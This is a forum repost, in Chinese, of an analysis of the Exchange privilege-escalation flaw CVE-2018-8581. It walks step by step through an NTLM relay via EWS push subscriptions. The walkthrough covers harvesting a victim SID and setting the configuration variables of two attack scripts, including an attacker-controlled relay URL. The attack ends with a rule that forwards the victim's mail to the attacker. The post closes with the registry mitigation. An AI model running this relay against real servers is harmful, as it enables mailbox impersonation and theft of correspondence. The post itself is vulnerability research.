標題:EXCHANGE上冒充任意用戶--Exchange Server權限提升漏洞(CVE-2018-8581)分析

taibeihacker

Moderator

0x00 前言​

這是我們2018年Top 5趣案系列中的第三個案例。這些漏洞都有一些因素使它們從今年發布的大約1,400個報告中脫穎而出。今天我們將分析一個Exchange漏洞,它允許任何經過身份驗證的用戶冒充Exchange Server上的其他用戶。
在ZDI的Dustin Childs 12月的文章中,他提到了一個Exchange漏洞,允許Exchange服務器上的任何用戶冒充該Exchange服務器上的任何人。雖然這個漏洞可以用於一些內網的劫持,但這個漏洞更有可能被用於釣魚活動、竊取數據或其他惡意軟件操作。作為2018年Top 5趣案系列的一部分,本文深入研究了這個SSRF(服務器端請求偽造)漏洞的細節,並展示了冒充過程是如何實現的。

0x01 漏洞分析​

該漏洞是由SSRF漏洞和其他漏洞相結合造成的。 Exchange允許任何用戶為推送訂閱指定所需的URL,服務器將嘗試向這個URL發送通知。問題出在Exchange服務器使用CredentialCache.DefaultCredentials進行連接:
htcvrq0agem22595.png

在Exchange Web服務中,CredentialCache.DefaultCredentials在NT AUTHORITYSYSTEM上運行。這將導致Exchange Server向攻擊者的服務器發送NTLM散列。 Exchange服務器還默認設置了以下註冊表項:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck=1
這允許我們使用這些NTLM散列來進行HTTP身份驗證。例如,可以使用這些散列來訪問Exchange Web服務(EWS)。由於它在NT AUTHORITYSYSTEM級別運行,攻擊者可以獲得TokenSerializationRight的“特權”會話,然後可以使用SOAP請求頭來冒充任何用戶。
下面是這樣一個SOAP請求頭的例子,它用SIDS-1-5-21-4187549019-2363330540-1546371449-500冒充管理員。
c0auysfzv0b22596.png

0x02 漏洞利用​

為了演示,我們將使用幾個Python腳本:
serverHTTP_relayNTLM.py– 通過入站連接獲取NTLM散列並用於EWS身份驗證
exch_EWS_pushSubscribe.py– 導致PushSubscription EWS調用serverHTTP_relayNTLM.py
你可以在這裡下載這些腳本。你還需要python-NTLM模塊。
漏洞的第一步是獲取我們要冒充的用戶的SID。一種可能的使用方法是這樣的:
1.以授權用戶身份登錄OWA。在這裡,我們以“攻擊者”身份登錄:
hdycm4ekpk222597.png

2.接下來,創建任意新文件夾。在這個例子中,我們使用了temfold。點擊context中“Permissions…”選項:
n25zvgmlimi22598.png

3.在這裡,添加要冒充的人的電子郵件。我們的目標是受害者[email protected]
dvcf35mm24d22599.png

4.現在我們需要按F12鍵並選擇Network選項。然後在新文件夾中再次選擇context中“Permissions…”選項。
lqtt3c020vg22600.png

5.我們需要檢查第一個service.svc?action=GetFolder請求的響應。查看方法:
Body-ResponseMessages-Items-0-Folders-0-PermissionSet-Permissions-N-UserId-SID
在這個例子中,N是2(最新的),但是你可以全部檢查一遍以便找到正確的。 PrimarySmtpAddress應該是理想的受害者。如果響應不包含PermissionSet項,則需要檢查另一個service.svc?action=GetFolder請求。
nbfsjkgci5w22601.png

6.我們將在serverHTTP_relayNTLM.py中使用這個SID來冒充受害者。另外,我們還需要選擇在攻擊者控制的計算機上不太可能被阻止的TCP端口,這些端口將允許Exchange Server上的外部連接。例如,TCP端口8080可能可用。現在,讓我們用真實信息更改serverHTTP_relayNTLM.py中的下一行:
#Port for the HTTP server
#Should be the same as in EVIL_HTTPSERVER_URL in Exch_EWS_pushSubscribe.py
HTTPPORT=8080
#You have to replace next values by valid ip/address, port and protocol ('http' or 'https') to EWS
target_ip='exch2016.contoso.local'
target_port=443
PROTO='https'
#PROTO='http'
#Path to EWS
URL='/EWS/Exchange.asmx'
#SMTP addresses of attacker mailbox (we will receive all emails sent to victim)
ATTACKER='[email protected]'
VICTIM_SID='S-1-5-21-4187549019-2363330540-1546371449-2604'
5a3zwaele2c22602.png

一旦腳本有了正確的變量,就可以啟動了:
qy5auoajbcp22603.png

7.下一步是在Exch_EWS_PushSubscribe.py腳本中設置適當的變量:
#You have to replace next values by valid ip/address, port and protocol ('http' or 'https')
ip='exch2016.contoso.local'
tcp_port=443
#PROTO='http'
PROTO='https'
#Credentials of attacker
USER='attacker'
DOMAIN='contoso.local'
PASS='P@ssw0rd'
URL='/EWS/Exchange.asmx'
#URL of our HTTP server that will use NTLM hashes for impersonation of victim
EVIL_HTTPSERVER_URL='http://192.168.50.173:8080/test'
wnoufh5sx1f22604.png

一旦完成,我們就可以執行以下腳本:
zzmkpsodqxu22605.png

8.最後一步。我們需要一些事件觸發推送通知。如果可以等待一段時間,或者我們也可以執行一些操作,比如創建和發送新的電子郵件,或者刪除我們的新文件
lklz5iiamow22606.png

如果成功,我們應該接收從Exchange服務器到serverHTTP_relayNTLM.py的入站連接:
如果攻擊成功,我們將在最後一個響應中看到UpdateInboxRulesResponse ResponseClass=“Success”。這意味著入站規則已添加到受害者郵箱中,所有入站電子郵件都將轉發給攻擊者。
現在一切就緒,是時候測試了。我們需要從任意帳戶向受害者發送電子郵件,但與我們新規則中的目的地不相同(在本例是[email protected]),因為如果源和目的地是相同的地址,則該規則不會轉發電子郵件。讓我們以管理員身份登錄並向受害者發送一些“敏感”信息:
sfdckgh1nyq22607.png

檢查攻擊者的收件箱,我們看到消息成功轉發:
rggax3eefkd22608.png

正如我們所看到的,新的郵件被轉發給攻擊者。類似的結果可以通過其他EWS API實現,比如AddDelegate或將編輯權限分配給目標文件夾。

0x03 补丁​

微軟將該漏洞分配為CVE-2018-8581,並在11月份發佈時給出緩解措施。實際上這個漏洞還沒有修補程序。相反,Microsoft強調應該刪除註冊表項。刪除這個鍵可啟用回送檢查。回想上面的內容,Exchange服務器默認設置了以下註冊表項:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck=1
如果刪除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck鍵,則漏洞不可以。若要刪除註冊表項,請在CMD窗口中輸入以下命令:
刪除密鑰後不需要重新啟動或Exchange Server。公告指出,將來Exchange的更新在默認情況下將不再啟用註冊表項。

0x04 总结​

電子郵件已經成為我們商業生活的核心組成部分,Exchange Server多年來一直是一個熱門的目標。該漏洞允許冒充用戶,通過以前報告的漏洞允許任意代碼執行。這兩種情況都表明,有時最大的安全風險來自內部。這些漏洞還展示了外部攻擊者如何從單個入口點在整個企業中擴散。
 
返回
上方